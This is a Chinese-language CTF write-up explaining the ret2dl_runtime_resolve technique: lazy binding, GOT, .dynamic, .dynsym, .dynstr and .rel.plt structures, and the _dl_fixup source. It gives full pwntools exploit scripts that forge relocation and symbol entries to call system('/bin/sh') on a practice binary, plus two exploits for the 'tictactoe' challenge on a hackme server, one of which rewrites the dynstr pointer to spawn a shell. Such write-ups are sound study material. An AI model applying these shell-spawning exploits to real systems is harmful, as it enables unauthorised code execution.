一、前置知识:
程序:hhh
常规思路,先检查再分析逻辑:
很简单,就只有堆栈不可执行的保护,一个write函数,还有一个read函数栈溢出(0x24,0x80)。
一想到这里,思路就是栈迁移用write先泄露libc_start_main的真实地址,再onegadget即可getshell,但是今天要学习的是不用泄露就可getshell的做法:dl_runtime_resolve
做题前先了解下前置知识:随便找个程序:666分析,看到第一次调用puts函数。
查看内存可知,就是push 0的地址,接着push 0x601008又jmp 7ffff7dee870,查看0x601008地址内存:
1 2 3 4 5
| GOT表的内容 GOT[0]--> 0x601000:0x0000000000600e28 ->.dynamic的地址 GOT[1]--> 0x601008:0x00007ffff7ffe168 ->link_map 此处包含链接器的标识信息 GOT[2]--> 0x601010:0x00007ffff7dee870 ->_dl_runtime_resolve 动态链接器中的入口点 GOT[3]--> 0x601018:0x00000000004004a6 -><puts@plt+6>__gmon_start__开始地址
|
执行了_dl_runtime_resolve(link_map, reloc_arg)函数,它能实现把真实地址写到got表中~
在此之前,先看一张图了解延迟绑定:
这个图第一次调用和第二次调用的不同对比。
这是在link_map中的数据,可以看到在178处有个0x600e28的.dynamic地址,.dynamic段的结构很经典,它的结构如下:
1 2 3 4 5 6 7 8
| typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn; extern Elf32_Dyn_DYNAMIC[];
|
包含的信息有:
- 依赖于哪些动态库
- 动态符号节信息
- 动态字符串节信息
这是在ida中的动态节
也可以用readelf -d ./666查看
我们重点关注下
1 2 3
| 0x0000000000000006 (SYMTAB) 0x4002b8 0x0000000000000005 (STRTAB) 0x400360 0x0000000000000017 (JMPREL) 0x4003f8
|
在ida中的样子:
Elf32_sym<偏移st_name,0,0,0x12…..>,<>里面的就是对应的参数
Elf32_Rel <got表地址,info>,<>里面就是参数
一个一个地看看:
strtab—–>.dynstr(动态字符串表),可以从dynsym的第一个参数偏移st_name得到
symtab—–>.dynsym(动态符号表,用来保存与动态链接相关的导入导出符号,不包括模块内部的符号,而 .symtab 则保存所有符号,包括 .dynsym 中的符号,因此一般来说,.symtab的内容多一点)
这里有一点需要注意的是.dynsym是运行时所需的,ELF 文件中 export/import 的符号信息全在这里。但是
.symtab节中存储的信息是编译时的符号信息。
.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。
我们主要关注动态符号.dynsym中的两个成员
- st_name, 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。
- st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。
jmprel—–>.rel.plt
.rel.plt 包含了需要重定位的函数的信息,使用如下的结构,需要区分的是.rel.plt
节是用于函数重定位,.rel.dyn
节是用于变量重定位
1 2 3 4 5 6 7 8 9 10 11
| typedef struct { Elf32_Addr r_offset;//指向对应got表的指针 Elf32_Word r_info;//r_info>>8后得到一个下标,对应此导入符号在.dynsym中的下标 } Elf32_Rel; //32 位程序只使用 Elf32_Rel //64 位程序只使用 Elf32_Rela typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend; } Elf32_Rela;
|
好的,可以回到dl_runtime_resolve(link_map,reloc_arg)
这里的reloc_arg就是函数在.rel.plt中的偏移,就是之前push 0中的0
那么我们可以知道puts函数在.rel.plt中的偏移为0(0x601080就是.rel.plt的开始地址)查看下:
接着就需要分析_dl_runtime_resolve(link_map, reloc_arg)到底干了什么,我们gdb跟进,发现在 _dl_runtime_resolve中又调用了 _dl_fixup函数:
有可疑的_dl_fixup函数,不知道这个是干嘛的,于是向大佬学习一波,发现是绑定got真实地址的关键!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) { // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 然后通过reloc->r_info找到.dynsym中对应的条目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // value为libc基址加上要解析函数的偏移地址,也即实际地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); // 最后把value写入相应的GOT表条目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
|
再看看,通过重定位表项Elf32_Rel的指针,得到对应函数的r_info,r_info >> 8作为.dynsym的下标(这里puts是1),求出当前函数的符号表项Elf32_Sym的指针:
利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,由此puts的got表就被写上了真实的地址
赋值给GOT表后,把程序流程返回给puts
最核心的利用:
利用fix函数,伪造reloc_arg,也就是伪造一个很大的.rel.plt
offset,使得加上去之后的地址指向我们可以控制的地方(fake_rel)
回到最初那题,基本利用思路:
1、栈迁移到bss中
2、构造fake_rel实现函数调用
3、构造fake_dynsym寻找dynstr中的”system\x00”字符
4、成功执行system
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * context.log_level='debug' local = 1 elf = ELF('./hhh') if local: p = process('./hhh') libc = elf.libc else: p = remote('',) libc = ELF('./')
bss = elf.bss() leave_ret = 0x080483d8 PLT = 0x8048310 rel_plt = 0x80482CC elf_dynsym = 0x80481CC elf_dynstr = 0x804823C stack_addr = bss + 0x300 read_plt = elf.symbols['read'] write_plt = elf.symbols['write']
payload = 'a'*0x24 payload += p32(stack_addr) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0) payload += p32(stack_addr) payload += p32(100) p.recvuntil("input your name!\n") p.sendline(payload)
fake_dynsym = stack_addr + 28
align = 0x10 - ((fake_dynsym-elf_dynsym) & 0xf)
fake_dynsym = fake_dynsym + align
hack_rel = stack_addr + 20 main_got = elf.got['__libc_start_main'] index_dynsym_addr = (fake_dynsym - elf_dynsym)/0x10 r_info = (index_dynsym_addr<<8) | 0x7 hack_rel_can = p32(main_got) + p32(r_info)
index_offset = hack_rel - rel_plt st_name = (fake_dynsym + 0x10) - elf_dynstr
fake_dynsym_can = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'aaaa' payload += p32(PLT) payload += p32(index_offset) payload += 'aaaa' payload += p32(stack_addr + 64) payload += hack_rel_can payload += 'a'*align payload += fake_dynsym_can payload += 'system\x00' payload += 'a'*(64-len(payload)) payload += '/bin/sh\x00' p.sendline(payload)
p.interactive()
|
在gdb动态调试看下分布:
完美~
最后检验下:
以上就是我对dl_runtime_reslove的总结,这种利用还是很不错的,直接一把过去,不用泄露libc~同时也对动态链接有了新的认识和理解,一举两得。
听说有个好用的工具,roputils,试了下,然而我用了get不到shell,辣鸡东西,毁我青春~不用
题目:tictactoe
1 2 3 4 5 6 7 8
| king@ubuntu:~/桌面/Hackme$ checksec tictactoe [*] '/home/king/\xe6\xa1\x8c\xe9\x9d\xa2/Hackme/tictactoe' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) king@ubuntu:~/桌面/Hackme$
|
canary保护和堆栈不可执行~看看ida:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| int __cdecl main() { signed int v0; int v1; int fd; signed int i; ssize_t v5; char buf[256]; unsigned int v7;
v7 = __readgsdword(0x14u); setbuf(stdout, 0); fclose(stderr); fwrite("Thanks MatthewStell for the AI, https://gist.github.com/MatthewSteel/3158579\n", 1u, 0x4Du, stderr); sub_80486C7(" ____ ____ __ __ __ __\n" " / __ \\ / __ \\ \\ \\ / / \\ \\ / /\n" "| | | | | | | | \\ V / \\ V /\n" "| | | | | | | | > < > <\n" "| |__| | | |__| | / . \\ / . \\\n" " \\____/ \\____/ /_/ \\_\\ /_/ \\_\\\n" "\n" "\n" "\n"); sub_80486C7("Welcome to use AlphaToe"); sub_80486C7("Try to beat my A.I. system"); printf("Computer: O, You: %c\nPlay (1)st or (2)nd? ", byte_804B04C); if ( sub_804871C() % 2 == 1 ) v0 = 1; else v0 = -1; dword_804B048 = v0; for ( i = 0; i <= 8 && !sub_80487F6(); ++i ) { if ( dword_804B048 == -1 ) { sub_80489C0(); } else { sub_8048762(); sub_8048A4B(); } dword_804B048 = -dword_804B048; } v1 = sub_80487F6(); if ( v1 ) { if ( v1 == 1 ) { sub_8048762(); sub_80486C7("You lose. :("); } else if ( v1 == -1 ) { sub_80486C7("You win. Inconceivable!"); fd = open("flag_simple", 0); v5 = read(fd, buf, 0x100u); if ( fd <= 0 || v5 <= 0 ) { sub_80486C7("Can not read flag! Pls contact admin"); } else { buf[v5] = 0; printf("Here is your flag: %s\n", buf); sub_80486C7("You need a shell to get another flag"); } exit(0); } } else { sub_80486C7("Draw!......"); } memset(&dword_804B048, 0, 0x18u); puts("You sucks!"); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| unsigned int sub_8048A4B() { int v1; char buf; unsigned int v3;
v3 = __readgsdword(0x14u); printf("\nInput move (9 to change flavor): "); v1 = sub_804871C(); if ( v1 == 9 ) { read(0, &buf, 4u); byte_804B04C = buf; sub_8048A4B(); } else { *(v1 + 0x804B056) = byte_804B04C; if ( sub_80486F0(v1) ) *(v1 + 0x804B04D) = -1; } return __readgsdword(0x14u) ^ v3;
|
而且由于前面的地址相同,所以只需要写末2位即可。
这里为了验证方便,分别在0x08048A8A和0x08048A9E的位置下断点,动态调试看看是否改成功了。
修改成功,直接再随便输入一个值即可退出getshell,那么exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * context.log_level='debug' local = 0 elf = ELF('./tictactoe') if local: p = process('./tictactoe') libc = elf.libc else: p = remote('hackme.inndy.tw',7714) libc = ELF('./libc-2.23.so.i386') cat_flag = 0x8048C46 def change(addr,offset): p.recvuntil("move (9 to change flavor): ") p.send('9') p.send(addr) p.recvuntil("move (9 to change flavor): ") p.send(offset)
p.recvuntil("Play (1)st or (2)nd? ") p.send('1') change('\x46',' -50') change('\x8C',' -49')
p.send('0') p.interactive()
|
检验下:
这是第一种方法,我们尝试用getshell的方法去做:
这里介绍下dl_runtime_resolve:利用fake_dynstr实现system的调用。
由ida可知:
当游戏结束时,调用memset,参数放在0x804B048处,那么利用fake_dynstr实现system调用,再把参数$0写入0x804B048,即可getshell,这里有个坑点,就是每一次轮到机器人时,0x804B048会变成负数,解决方法是统一在奇数位改~
0x804AF54存第一个参数标记,0x804AF58存第二个参数即dynstr的地址,那么我们只要改0x804AF58这个指向dynstr的指针即可。
那么我们就要构造出fake_dynstr表,让system字符串的偏移也是0x44就好了,因为ida咩有system字符串,所以可以自己找找,或者自己写一个到某一个bss地址上(前提是能写),这里先找找先
找到了现成的直接用,0x804a00c - 0x44 = 0x8049fc8,那么直接改dynstr表地址为这个地址,就可以了,这样偏移为0x44的地方就是我们的system的地方,前面的地址相同,只需要覆盖两位即可,第一轮先填0,好让机会再次把握在我们手中,制造出和局的场面,则exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context.log_level='debug' local = 1 elf = ELF('./tictactoe') if local: p = process('./tictactoe') libc = elf.libc else: p = remote('hackme.inndy.tw',7714) libc = ELF('./libc-2.23.so.i386') dynstr = 0x0804af58 system_str = 0x0804a00c fake_dynstr = 0x08049fc8 player = 0x804b048 bss = elf.bss() fake_addr = bss + 0x100
def change(string,addr): offset = addr - 0x804B056 p.recvuntil("move (9 to change flavor): ") p.sendline('9') p.send(string) p.recvuntil("move (9 to change flavor): ") p.send(str(offset))
p.recvuntil("Play (1)st or (2)nd? ") p.sendline('1') change('\x00',player) change('\x24',player) change('\xc8',dynstr) change('\x30',player + 1) change('\x9f',dynstr + 1)
change('\x00',fake_addr) change('\x00',fake_addr) change('\x00',fake_addr) change('\x00',fake_addr) p.interactive()
|
验收下:
总结
这里dl_runtime_resolve的运用,改dynstr表,就要改指向此表的指针,然后构造相同的偏移量~实现趁机fake调用,很棒的操作。